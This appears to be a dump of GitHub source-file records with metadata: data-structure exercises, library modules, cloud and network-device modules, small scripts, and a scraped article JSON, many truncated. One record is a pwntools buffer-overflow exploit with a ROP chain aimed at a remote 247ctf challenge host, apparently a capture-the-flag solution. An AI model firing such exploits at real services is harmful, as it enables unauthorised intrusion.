62c04ba164efc46580a8e29802b2c3105d28e244 | 114c1f7ceff04e00591f46eeb0a2eb387ac65710 | /g4g/DS/Graphs/Introductions_and_traversals/10_prac.py | b8308399c38cc993c17302967aa9c44a0beebb89 | [] | no_license | sauravgsh16/DataStructures_Algorithms | 0783a5e6dd00817ac0b6f2b856ad8d82339a767d | d3133f026f972f28bd038fcee9f65784f5d3ea8b | refs/heads/master | 2020-04-23T03:00:29.713877 | 2019-11-25T10:52:33 | 2019-11-25T10:52:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 945 | py | ''' Iterative DFS '''
class Graph(object):
def __init__(self, vertices):
self.V = vertices
self.adj = [[] for i in range(self.V)]
def add_edge(self, src, dest):
self.adj[src].append(dest)
def DFS_Util(self, s, visited):
stack = []
stack.append(s)
while le... | [
"GhoshSaurav@JohnDeere.com"
] | GhoshSaurav@JohnDeere.com |
25b0c8725635d704fb1f7630816a948146eeb750 | 155fa6aaa4ef31cc0dbb54b7cf528f36743b1663 | /Polymorphism and Abstraction/wild_farm/animals/birds.py | 41ba401c5676fd4ca96f767957cdbdc132188929 | [] | no_license | GBoshnakov/SoftUni-OOP | efe77b5e1fd7d3def19338cc7819f187233ecab0 | 0145abb760b7633ca326d06a08564fad3151e1c5 | refs/heads/main | 2023-07-13T18:54:39.761133 | 2021-08-27T08:31:07 | 2021-08-27T08:31:07 | 381,711,275 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 628 | py | from wild_farm.animals.animal import Bird
from wild_farm.food import Meat
class Hen(Bird):
weight_gainer = 0.35
def make_sound(self):
return "Cluck"
def feed(self, food):
self.weight += food.quantity * Hen.weight_gainer
self.food_eaten += food.quantity
class Owl(Bird):
weig... | [
"boshnakov.g@gmail.com"
] | boshnakov.g@gmail.com |
f47a10d8f4a3f749041c6241c6d0fd65b7ff1a94 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/303/usersdata/296/78905/submittedfiles/testes.py | a1d13bb4b7617dba4b5f62c6fc00e07d617132c1 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 217 | py | # -*- coding: utf-8 -*-
#COMECE AQUI ABAIXO
n = int(input("Digite o primeiro número: "))
m = int(input("Digite o segundo número: "))
soma = m + n
if soma>10:
print(soma)
else:
print("Não sei")
| [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
d09aff13b635db27d2ff88145cbb666e5953d834 | d094ba0c8a9b1217fbf014aa79a283a49aabe88c | /env/lib/python3.6/site-packages/nibabel/openers.py | e5514045614eb4e640823461dde15e9dc9b56831 | [
"Apache-2.0"
] | permissive | Raniac/NEURO-LEARN | d9274e0baadd97bb02da54bdfcf6ca091fc1c703 | 3c3acc55de8ba741e673063378e6cbaf10b64c7a | refs/heads/master | 2022-12-25T23:46:54.922237 | 2020-09-06T03:15:14 | 2020-09-06T03:15:14 | 182,013,100 | 9 | 2 | Apache-2.0 | 2022-12-09T21:01:00 | 2019-04-18T03:57:00 | CSS | UTF-8 | Python | false | false | 9,177 | py | # emacs: -*- mode: python-mode; py-indent-offset: 4; indent-tabs-mode: nil -*-
# vi: set ft=python sts=4 ts=4 sw=4 et:
### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##
#
# See COPYING file distributed along with the NiBabel package for the
# copyright and license terms.
#
### ### ### #... | [
"leibingye@outlook.com"
] | leibingye@outlook.com |
bf3448d849c5de2d925e689c949e860cc37bcc98 | c4af67db4c523d20f2d55aef90ba77db1fb53c38 | /GenericSetup/interfaces.py | 86d238f328d67b4bf37f34be5405172baad75cc7 | [] | no_license | dtgit/dtedu | e59b16612d7d9ea064026bf80a44657082ef45a3 | d787885fe7ed0de6f9e40e9b05d852a0e9d60677 | refs/heads/master | 2020-04-06T05:22:50.025074 | 2009-04-08T20:13:20 | 2009-04-08T20:13:20 | 171,351 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,918 | py | ##############################################################################
#
# Copyright (c) 2004 Zope Corporation and Contributors. All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOFT... | [
"ron@domU-12-31-39-02-65-03.compute-1.internal"
] | ron@domU-12-31-39-02-65-03.compute-1.internal |
d7f3500c58054c8e787b5eb8b5ef526a6c1fb2a4 | a43346f397f55edf1f946bae937ae8ae9e21d955 | /vscode2/test_urllib.py | 83d06e098858b90cd428290a2f783d30dd67a847 | [] | no_license | OSYouth/vscode2 | 130474906566a3e90e9a60f5575b68453b4420ca | 385f3cc42b84abfdb958d23e56883450b73e5247 | refs/heads/master | 2021-10-19T11:22:26.210328 | 2019-02-20T15:19:35 | 2019-02-20T15:19:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 179 | py | import urllib.request as urllib
url = "https://www.baidu.com"
print ('第一种方法')
response1 = urllib.urlopen(url)
print (response1.getcode())
print (len(response1.read())) | [
"benleolee@163.com"
] | benleolee@163.com |
35ed390982090e723108fa49c6bc3eca2fac169b | ffeedf288d6aa5302abf1771e23c3090b52d7676 | /filemapper/metadata/regex/regexsubtitleextension.py | ee29654357f444d8fda6bbadb7f510ddf6ff2567 | [] | no_license | AsiganTheSunk/python-multimedia-filemapper | f648577f610467abdb9e1ff43783fd1b8ec5b748 | 5daa07c51f3e85df48a0c336633ac150687fe24c | refs/heads/master | 2022-07-07T10:12:43.066571 | 2017-11-02T01:02:20 | 2017-11-02T01:02:20 | 98,677,659 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,813 | py | import re
from filemapper.utils.fileflags import FileFlags as fflags
class RegexSubtitleExtension():
def __init__(self):
self.name = 'RegexSubtitleExtension'
self.supported_fflags = []
self.supported_season_fflags = []
self.supported_subtitle_fflags = [fflags.SUBTITLE_DIRECTORY_FI... | [
"asiganthesunk@gmail.com"
] | asiganthesunk@gmail.com |
31afddcb16282f0930e0128adb77023409f9431d | 8581ebb9bd1a8cf5da5d9745a23995d0a2438998 | /pyIPCMI/ToolChain/Lattice/Diamond.py | 3fd18ebebbbc07edc6b52672237ba60cdef635a3 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | Paebbels/pyIPCMI | 9ab01397d88299173732645bbbab949915ca48b9 | 0f91e26f989ca025c9380ff808d1e532614b9593 | refs/heads/master | 2021-06-13T21:43:00.022816 | 2019-10-13T02:48:37 | 2019-10-13T02:48:37 | 94,079,170 | 7 | 4 | NOASSERTION | 2021-04-29T20:58:29 | 2017-06-12T09:33:44 | Python | UTF-8 | Python | false | false | 12,636 | py | # EMACS settings: -*- tab-width: 2; indent-tabs-mode: t; python-indent-offset: 2 -*-
# vim: tabstop=2:shiftwidth=2:noexpandtab
# kate: tab-width 2; replace-tabs off; indent-width 2;
#
# ==============================================================================
# Authors: Patrick Lehmann
# ... | [
"Patrick.Lehmann@plc2.de"
] | Patrick.Lehmann@plc2.de |
87359040a44cb331edcde6eadc795cc5893b7acf | 81539aba88c22cf75bd2e14f5e0e92f2bf54e962 | /DarkMatterMap2017/TTbarDMJets_Inclusive_scalar_LO_TuneCP5_13TeV_madgraph_mcatnlo_pythia8/TTbarDMJets_Inclusive_scalar_LO_Mchi-1_Mphi-50_TuneCP5_13TeV-madgraph-mcatnlo-pythia8/TTbarDMJets_Inclusive_scalar_LO_TuneCP5_13TeV_madgraph_mcatnlo_pythia8_230000_9_cff.py | e6759e810046c4bd042df921f1964599a39baf13 | [] | no_license | nistefan/RandomizedParametersSeparator | ad35b48b95e9745814c0bf9d8d8b6eb8aa479177 | 66a0e291b59113c6b5301768f1c10e36cf23d3c3 | refs/heads/master | 2021-01-03T00:41:17.415005 | 2020-02-19T13:30:54 | 2020-02-19T13:30:54 | 239,838,928 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,331 | py | import FWCore.ParameterSet.Config as cms
maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) )
readFiles = cms.untracked.vstring()
source = cms.Source ("PoolSource",fileNames = readFiles, lumisToProcess = cms.untracked.VLuminosityBlockRange(*('1:21184', '1:20120', '1:21020', '1:21278', '1:21582', '1:22183',... | [
"Nicole.Stefanov@cern.ch"
] | Nicole.Stefanov@cern.ch |
fa65834f183d396f167ddac7d0e3ce217989aeac | c065ff2a6a377aea2303b7b8482558049958a7ec | /bleach/1561633873/tactile.tac | e0b7984bc288e6bd96fb1113990c5d9650654c86 | [] | no_license | waedbara/vision2tactile | 7bc9861eecb4247fd254ea58dc508ed18a03b1af | edbc9dfee61b4a4b1f0caebb2f16faef090dff32 | refs/heads/master | 2022-04-02T20:43:16.621687 | 2019-12-11T08:07:39 | 2019-12-11T08:07:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 290 | tac | ,3560,3702,3650,3700,3474,3660,3767,3585,3608,3572,3530,3696,3584,3484,3133,3588,3544,3511,3061,2934,3702,3669,3631,3415,2036,2049,1890,2201,2639,2797,3024,2834,3104,3280,3113,3424,3332,3262,2930,3190,3410,3204,3299,3286,3229,3313,3287,2842,2696,3348,3301,3393,3300,2041,2050,2853,2054,2473 | [
"brayan.inf@gmail.com"
] | brayan.inf@gmail.com |
95c9ef6893aed8f628771d2758083ee20acee4bc | 9795fe1532849a046895cfb0d4b359144ad575dd | /stringtest.py | a2836ef585b1b18b6d2681aa68771ee248598116 | [
"MIT"
] | permissive | DBeath/python-snippets | 36e2df94d20227b897dd8c9345f9f0dfd733f96b | c9642c37183d947eb8a1a781e47bd70b1306d5ca | refs/heads/master | 2023-03-25T14:26:59.556635 | 2019-10-19T07:26:31 | 2019-10-19T07:26:31 | 118,523,453 | 0 | 0 | MIT | 2021-03-22T16:58:22 | 2018-01-22T22:22:16 | HTML | UTF-8 | Python | false | false | 237 | py | string = ''
print(string is None)
print(not string)
print(string is '')
print(string is not '')
if string:
print('String is true')
else:
print('String is false')
print()
string = 'Test'
print(string is None)
print(not string)
| [
"davidgbeath@gmail.com"
] | davidgbeath@gmail.com |
7f9e5d09226cfa9f68d090ddab27a9197d586658 | d7ec67a5ba315103fa6a6bae6dc045f1fecf7add | /normal/FluentPython_code_master/ch03_dict_set/strkeydict0.py | a2dc7df2040e476b3431f97d2ab8bc19527f2a50 | [] | no_license | munezou/PycharmProject | cc62f5e4278ced387233a50647e8197e009cc7b4 | 26126c02cfa0dc4c0db726f2f2cabb162511a5b5 | refs/heads/master | 2023-03-07T23:44:29.106624 | 2023-01-23T16:16:08 | 2023-01-23T16:16:08 | 218,804,126 | 2 | 1 | null | 2023-02-28T23:58:22 | 2019-10-31T15:57:22 | Jupyter Notebook | UTF-8 | Python | false | false | 1,702 | py | '''
StrKeyDict0 converts non-string keys to `str` on lookup
# BEGIN STRKEYDICT0_TESTS
Tests for item retrieval using `d[key]` notation::
>>> d = StrKeyDict0([('2', 'two'), ('4', 'four')])
>>> d['2']
'two'
>>> d[4]
'four'
>>> d[1]
Traceback (most recent call last):
...
KeyError:... | [
"kazumikm0119@pi5.fiberbit.net"
] | kazumikm0119@pi5.fiberbit.net |
0b5031a6f7f5e225e262e284fca108ae29536ca9 | 5e6d8b9989247801718dd1f10009f0f7f54c1eb4 | /sdk/python/pulumi_azure_native/datashare/v20210801/kusto_table_data_set_mapping.py | 028a2441771fb8ea919a45fda0cdd0950bdf8444 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | vivimouret29/pulumi-azure-native | d238a8f91688c9bf09d745a7280b9bf2dd6d44e0 | 1cbd988bcb2aa75a83e220cb5abeb805d6484fce | refs/heads/master | 2023-08-26T05:50:40.560691 | 2021-10-21T09:25:07 | 2021-10-21T09:25:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,828 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
fro... | [
"noreply@github.com"
] | vivimouret29.noreply@github.com |
e5ea4bf5ff824ea3b88eae215aa89ad3e1b1ff1d | 22b348a0d10519cb1f1da5e886fdf2d3c167cf5a | /myweb/test/gevent_/gevent_server.py | 40d3ecc084fb675cd69f19242f2558e09bd2b098 | [] | no_license | liuluyang/openstack_mogan_study | dab0a8f918ffd17e0a747715998e81304672b75b | 8624f765da7f5aa0c210f0fa945fc50cf8a67b9e | refs/heads/master | 2021-01-19T17:03:15.370323 | 2018-04-12T09:50:38 | 2018-04-12T09:50:38 | 101,040,396 | 1 | 1 | null | 2017-11-01T02:17:31 | 2017-08-22T08:30:22 | Python | UTF-8 | Python | false | false | 872 | py | #coding:utf8
import gevent
from gevent import monkey,socket
monkey.patch_all() #有IO才做时需要这一句
s = socket.socket(2,1) #用的都是gevent模块中的socket,但用法一样
#s.setsockopt(1,2,1)
s.bind(('',8080))
s.listen(1024)
print 'listening ...8080'
def func_accept():
while 1:
cs,userinfo = s.accept()
print('来了一个客户'+str(... | [
"1120773382@qq.com"
] | 1120773382@qq.com |
d0215f9d1c50b64bf0a063ec2baf631dfe83758c | 2b4790d77439d89ad27bdd04bac539283f0dd605 | /cookbook/chapter2/2.7_shortest_match.py | 49bb54fd123247134a394ad7b475f5859077f171 | [] | no_license | ajioy/python-ex | 9fde4bcfe35edeee5050365660a03bdb6b913da1 | 982a3cdf0de0e140faa4cb539f2961b311de2c2a | refs/heads/master | 2020-04-05T14:06:09.909935 | 2018-08-14T14:43:55 | 2018-08-14T14:43:55 | 59,105,033 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 334 | py | import re
str_pat = re.compile(r'\"(.*)\"')
text1 = 'Computer says "no."'
print(str_pat.findall(text1))
text2 = 'Computer says "no." Phone says "yes."'
# 贪婪模式匹配,尽可能长的匹配
print(str_pat.findall(text2))
# 非贪婪匹,尽可能短的匹配
str_pat = re.compile(r'\"(.*?)\"')
print(str_pat.findall(text2))
| [
"ajioy@hotmail.com"
] | ajioy@hotmail.com |
383e36a92c9d5637fc3a45dc325ed151ff97d399 | 8d24fedcadec55acb90aa6eb98d2768a9edf9dba | /professional_browser_automation/elements/element.py | 7d307b17a1d410c53ece73603d055d3403e09961 | [
"Unlicense"
] | permissive | ikostan/ElegantBrowserAutomationWithPythonAndSelenium | bb0a839b775e0a4f6c51b9d8ff1b07cab1624409 | da087036d74a8fbaec3a2875dad5c45c2a85689c | refs/heads/master | 2020-06-24T12:28:38.152860 | 2019-07-29T06:35:29 | 2019-07-29T06:35:29 | 198,962,805 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 662 | py | import selenium
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
class Element:
def __init__(self, driver: selenium.webdriver, locator: tuple):
self._driver = driver
self._locator = locator
self._element = self._find()
def _find(self... | [
"igorkostan@gmail.com"
] | igorkostan@gmail.com |
33a3d15ea5ee1796400d25807404e08938591741 | 83cb1b60faf90982aad32c5979856d6064c00e5b | /infra_validation_engine/utils/__init__.py | 3d7325c5de65d3772012e362ee86b426687bffe2 | [
"Apache-2.0"
] | permissive | boris-vasilev/simple_grid_infra_validation_engine | 25813b3bfa3f82c8bc964b4ac43089a4fea76015 | 66a1410ca42718d559fd12e1e99dbcbc64457645 | refs/heads/master | 2020-09-06T00:58:51.032918 | 2019-10-25T15:24:24 | 2019-10-25T15:24:24 | 220,265,468 | 0 | 0 | Apache-2.0 | 2019-11-07T15:14:21 | 2019-11-07T15:14:20 | null | UTF-8 | Python | false | false | 386 | py | def get_lightweight_component_hosts(augmented_site_level_config):
site_infrastructure = augmented_site_level_config['site_infrastructure']
output = []
for node in site_infrastructure:
node['host'] = "ssh://{fqdn}".format(fqdn=node['fqdn'])
output.append(node)
return output
def get_augme... | [
"imptodefeat@gmail.com"
] | imptodefeat@gmail.com |
a0af2852cda9a3447ca5115c38f0c38ee2d71b59 | b815438a597af24018277788200caf5da7c4a611 | /Python/Compare-the-Triplets.py | 958faa07f309af0d695639b148fd045d20c1b8ba | [] | no_license | Zahidsqldba07/HackeRank-1 | 0338fe204074a544b8f2510ba6702fc0f648e5e7 | 14a04e72d1599a4b8375623781a952dde323acaa | refs/heads/master | 2023-04-23T10:38:05.993784 | 2020-11-01T17:23:49 | 2020-11-01T17:23:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,160 | py | """
Alice and Bob each created one problem for HackerRank. A reviewer rates the two challenges, awarding points on a scale from 1 to 100
for three categories: problem clarity, originality, and difficulty.
We define the rating for Alice's challenge to be the triplet a = (a[0],a[1],a[2]), and the rating for Bob's challe... | [
"noreply@github.com"
] | Zahidsqldba07.noreply@github.com |
a8f7bb875473b5cc4537aa57b46d6f71ae1d2a84 | 9f3981ecd73bd45178013d441a1ef34f860def0b | /pos_bahrain/pos_bahrain/report/stock_balance_with_prices/stock_balance_with_prices.py | e773fbb9ebeb694178e7719130e9d7ba526b7a73 | [
"MIT"
] | permissive | azhkhn/pos_bahrain | 6e139bf02489c298ad8ac963b52ef676515e84f5 | eae06abb8eb4a9c4465b02178dd981a8ea430511 | refs/heads/master | 2020-09-17T07:00:51.068742 | 2019-11-16T09:28:43 | 2019-11-16T09:28:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,437 | py | # Copyright (c) 2013, 9t9it and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from functools import partial
from toolz import concatv, compose, valmap, merge
from pos_bahrain.utils import key_by, mapf, filterf
def execute(filters=None):
fro... | [
"sun@libermatic.com"
] | sun@libermatic.com |
40b52f45132e2e3030aae2cd04ce2496b8e8a52c | 76995eda52f3d8b7310ff53fc9b5f8b9ea00287a | /hello world.py | 43b4393dd19e59377c38451746abce7b31c05adc | [] | no_license | tonybelair922/demo_YT | 7bcf3573bb4ae2bdf34d615a5aecd40a48211faf | e748bd33878699f886928449b7926baa11356383 | refs/heads/main | 2023-03-13T09:59:14.937299 | 2021-03-08T07:44:33 | 2021-03-08T07:44:33 | 326,244,329 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,645 | py | """
msg= " Hello world"
for x in range(16):
print(msg)
"""
def my_function():
for x in range(6):
print("Hello from a function")
my_function()
{
"version" : "3.0",
"user" : "internal-api-beta-user",
"dateGenerated" : "2016-12-23T15:24:07Z",
"status" : "OK",
"data" : [ {
"parameter" : "t... | [
"you@example.com"
] | you@example.com |
cd48574c9c58a59d8434aa039fe557ccc7bf88f9 | 0fd5793e78e39adbfe9dcd733ef5e42390b8cc9a | /python3/16_Web_Services/e_GraphQL/creating/a_graphene/e_input_object_types.py | 409fed8fe1a59002922ab86d2f343886941285b2 | [] | no_license | udhayprakash/PythonMaterial | 3ea282ceb4492d94d401e3bc8bad9bf6e9cfa156 | e72f44e147141ebc9bf9ec126b70a5fcdbfbd076 | refs/heads/develop | 2023-07-08T21:07:33.154577 | 2023-07-03T10:53:25 | 2023-07-03T10:53:25 | 73,196,374 | 8 | 5 | null | 2023-05-26T09:59:17 | 2016-11-08T14:55:51 | Jupyter Notebook | UTF-8 | Python | false | false | 677 | py | import graphene
class Person(graphene.ObjectType):
name = graphene.String()
age = graphene.Int()
class PersonInput(graphene.InputObjectType):
name = graphene.String()
age = graphene.Int()
class Mutation(graphene.ObjectType):
create_person = graphene.Field(Person, input=PersonInput())
def ... | [
"uday3prakash@gmail.com"
] | uday3prakash@gmail.com |
27a81b2c84baeca740e1eb28aeb702ae4cfe4214 | 30c8dd5f094fa486b006d5c558aba25e64486398 | /serv4.py | ae07520d05c98ff50c16029501b715aca5877c55 | [] | no_license | badillosoft/iot-b | 9942b2501ebb0457b2bd5a3c69855706bce6d486 | 4f608a2b808e4fb9476a73e513664082f34d58ce | refs/heads/master | 2020-03-31T03:59:13.947614 | 2018-10-07T00:05:28 | 2018-10-07T00:05:28 | 151,886,825 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 313 | py | # -*- coding: utf-8 -*-
from flask import Flask
import os
app = Flask(__name__)
@app.route("/saludar")
def saludar():
return "Hola"
@app.route("/ultra")
def ultra():
stream = os.popen("python ultrasonico_html.py")
return stream.read()
app.run(host="192.168.100.48")
#http://192.168.100.48:5000/saludar
| [
"badillo.soft@hotmail.com"
] | badillo.soft@hotmail.com |
5584ee69c15cd5aacd051f6f1e7bfd3f031a0c37 | 8e23cbf08a8c5d966f642ef89a25309392acdb36 | /python教学/装饰器.py | e6b6e1325f7f6353583cdae58f87ff140bebf4a3 | [] | no_license | gyhd/python_study | ba94eca3aa391c56cdb34a48bcb6cd32581703e0 | 3b8c99179903d9c81b70d65c8df3023449394f57 | refs/heads/master | 2022-11-27T18:00:20.259082 | 2020-07-11T09:49:10 | 2020-07-11T09:49:10 | 248,500,662 | 3 | 1 | null | 2022-11-22T05:08:17 | 2020-03-19T12:44:35 | Jupyter Notebook | UTF-8 | Python | false | false | 1,499 | py | # -*- coding: utf-8 -*-
"""
Created on Mon Apr 29 15:48:22 2019
@author: Maibenben
"""
"""
def use_logging(func):
def wrapper(*args,**kwargs):
kwarg_values=[i for i in kwarg_values()]
for arg in list(args) + kwarg_values:
if not isinstance(arg,int):
return print('wrong ... | [
"2578278753@qq.com"
] | 2578278753@qq.com |
855b7ea3ed9f6b80d4674bf06c86a849cf414ce6 | 45b4687f1a9bc885666c06ea2c6b105e5058a7ae | /pyavrutils/examples/usage_ard.py | 15cb144b0f5e90d4f551e9711bed305552c40885 | [
"BSD-2-Clause"
] | permissive | ponty/pyavrutils | 5e14e0d2275235d87ed5668b632b16d0ea05711d | 460ae240b1360241e6867684300bd5f9a23b057b | refs/heads/master | 2020-12-24T16:06:55.990646 | 2020-05-02T09:00:26 | 2020-05-02T09:00:26 | 2,108,946 | 10 | 2 | null | null | null | null | UTF-8 | Python | false | false | 569 | py | from entrypoint2 import entrypoint
code = '''
from pyavrutils import Arduino
cc = Arduino(board='mini')
cc.build('void setup(){};void loop(){}')
cc.output
cc.size()
cc.size().program_bytes
cc.board='pro'
cc.build('void setup(){};void loop(){}')
cc.output
cc.size().program_bytes
cc.warnings
'''
@entrypoint
def main()... | [
"ponty@home"
] | ponty@home |
1024e3e86e782595371ff6d7a72d2c358bef7c38 | 8096e140f0fd38b9492e0fcf307990b1a5bfc3dd | /Python/madlibs/version1.py | 030da60671377a43b1498010dbff0898eb122bb7 | [] | no_license | perennialAutodidact/PDXCodeGuild_Projects | 0cacd44499c0bdc0c157555fe5466df6d8eb09b6 | 28a8258eba41e1fe6c135f54b230436ea7d28678 | refs/heads/master | 2022-11-15T22:26:45.775550 | 2020-07-07T17:13:01 | 2020-07-07T17:13:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 794 | py | print("\nPlease enter: \n")
adjective_1 = input("Adjective: ")
place = input("Place: ")
plural_noun = input("Plural noun: ")
adjective_2 = input("Adjective: ")
adjective_3 = input("Adjective: ")
verb_1 = input("\"ing\" verb: ")
verb_2 = input("\"ing\" verb: ")
adjective_4 = input("Adjective: ")
adjective_5 = input("Ad... | [
"keegood8@gmail.com"
] | keegood8@gmail.com |
980e1ccc875d26d9d2310924a4cf756d9eb52c42 | 077a17b286bdd6c427c325f196eb6e16b30c257e | /07-RemoteLibcId/247ctf_non-exectuable-stack/exploit.py | 8ae0a1385c0478c8df203b33d8d459ef768279ff | [] | no_license | KurSh/remenissions_test | 626daf6e923459b44b82521aa4cb944aad0dbced | 9dec8085b62a446f7562adfeccf70f8bfcdbb738 | refs/heads/master | 2023-07-08T20:25:04.823318 | 2020-10-05T06:45:16 | 2020-10-05T06:45:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 889 | py | #!/usr/bin/env python3
from pwn import *
import os
import sf
import sys
import signal
target = remote("042f9172aa4814e7.247ctf.com", 50384)
bof_payload = sf.BufferOverflow(arch=32)
bof_payload.set_input_start(0x2c)
rop_chain = [134513552, 134513981, 134520856]
bof_payload.add_rop_chain(rop_chain)
payload = bof_paylo... | [
"ryancmeinke@gmail.com"
] | ryancmeinke@gmail.com |
5a9e2337774edfa2d38ae948f760275231a69469 | 41311e8bbed80e1f819157d24d7943c05ba6b2e6 | /quiz/p1-1.py | 6904090c9c4d88daefea5beda24e62a30c34efb8 | [] | no_license | tanglan2009/MITx6.00.2x_Introductin_Computational_Thinking_and_Data_Science | c0bb39cb0964014661823e1301f05af7837ff3c5 | 334726fca7f87eae55f5f45c3cdc4dbac02cfac4 | refs/heads/master | 2021-01-10T02:49:34.663406 | 2016-03-06T19:49:44 | 2016-03-06T19:49:44 | 53,272,724 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 136 | py | import random
def f(x):
# x is an integer
return int(x + random.choice([0.25, 0.5, 0.75]))
print f(1)
print f(2)
print f(3) | [
"tanglan2009@gmail.com"
] | tanglan2009@gmail.com |
c020c2f69a1976edb765483dd834de041a8b2bb9 | 3ae29d8aa791c03e9a09eb07a83a1eaf49772fb6 | /restaurant/migrations/0019_auto__del_rating.py | a4af116d7a5caeba246a44a2461a5fd07f2f124c | [] | no_license | rif/click2eat | 26ca011288b1d4f9d69c0e8ecd36fcd622eb5d0c | 1a6894a46e8bf49edfb9c16e50d925e6354ddc6a | refs/heads/master | 2020-07-11T22:47:15.756006 | 2012-05-15T16:15:22 | 2012-05-15T16:15:22 | 204,658,025 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,928 | py | # encoding: utf-8
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Deleting model 'Rating'
db.delete_table('restaurant_rating')
def backwards(self, orm):
... | [
"radu@fericean.ro"
] | radu@fericean.ro |
f392ac0672bb07b6422d2d0b1428717eff6cc3b4 | b22b0760b29d24cff24eda9d1c114094fd1a588f | /Python/Easy/1002. Find Common Characters.py | 31ed0092f8a82223904bdc350b72986f3fbb5b1f | [] | no_license | MridulGangwar/Leetcode-Solutions | bbbaa06058a7b3e7621fc54050e344c06a256080 | d41b1bbd762030733fa271316f19724d43072cd7 | refs/heads/master | 2022-03-07T12:20:33.485573 | 2022-02-21T07:22:38 | 2022-02-21T07:22:38 | 231,700,258 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 906 | py | class Solution(object):
def commonChars(self, A):
"""
:type A: List[str]
:rtype: List[str]
"""
init_d ={}
for i in A[0]:
if i not in init_d:
init_d[i]=1
else: init_d[i]+=1
for i in range(1,len(A)):
temp=... | [
"singhmridul1@gmail.com"
] | singhmridul1@gmail.com |
8870f715f7c1f62386ba321b2c3fff4410c3772b | aac418419c2ef4d10c5c4ceb607d3d8329a5f395 | /Accepted/Codeshef/CATSDOGS - Cats_and_Dogs.py | b212a7af8376b88d41f5fa6d86ecea05063d1eb3 | [] | no_license | sudhirshahu51/projects | bb13395227355ff84933b6d3a0f158ee42bcdceb | b2d8331d14d2163b20535368a60c81f6c8bc2c8f | refs/heads/master | 2021-01-01T17:09:18.654060 | 2017-04-24T10:46:15 | 2017-04-24T10:46:15 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 529 | py | # Code Chef Cats and Dogs problem
t = int(input()) # No. of test cases
while t:
cats, dogs, legs = map(int, input().split())
high = (cats + dogs) * 4 # when all the cats and dogs legs are touching ground
if (cats - (2 * dogs)) <= 0:
low = (dogs * 4) # only dogs legs are tou... | [
"deveshaggrawal19@gmail.com"
] | deveshaggrawal19@gmail.com |
074c7250d576b20673e7c68a4de9e26a9df9037f | 3d7039903da398ae128e43c7d8c9662fda77fbdf | /database/CSS/juejin_1312.py | 2d36b3449d0f0513687328d1a4612401e5b4a267 | [] | no_license | ChenYongChang1/spider_study | a9aa22e6ed986193bf546bb567712876c7be5e15 | fe5fbc1a5562ff19c70351303997d3df3af690db | refs/heads/master | 2023-08-05T10:43:11.019178 | 2021-09-18T01:30:22 | 2021-09-18T01:30:22 | 406,727,214 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 70,289 | py | {"err_no": 0, "err_msg": "success", "data": [{"article_id": "6844904202922098701", "article_info": {"article_id": "6844904202922098701", "user_id": "1855631356860685", "category_id": "6809637767543259144", "tag_ids": [6809640394175971342], "visible_level": 0, "link_url": "", "cover_image": "https://p1-jj.byteimg.com/to... | [
"www.1759633997@qq.com"
] | www.1759633997@qq.com |
2af71e101ceac700047b14f879a4f1bfe9cdd8ee | 42685099f1e25e5c1db51b98546e0be495d2789f | /v6.0.2/system/fortios_system_ipip_tunnel.py | 31f4aa4a9c00a6e26f63b162ddc13d13344ebe69 | [
"Apache-2.0"
] | permissive | sxhdroid/ansible_fgt_modules | 02aaf9af33063d8178e7e898666ac9cdef150a00 | 58d02d80a8d0ff145bee226b345ad9738af523f6 | refs/heads/master | 2020-04-18T01:34:45.990750 | 2019-01-22T10:47:36 | 2019-01-22T10:47:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,097 | py | #!/usr/bin/python
from __future__ import (absolute_import, division, print_function)
# Copyright 2018 Fortinet, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the Lic... | [
"magonzalez@fortinet.com"
] | magonzalez@fortinet.com |
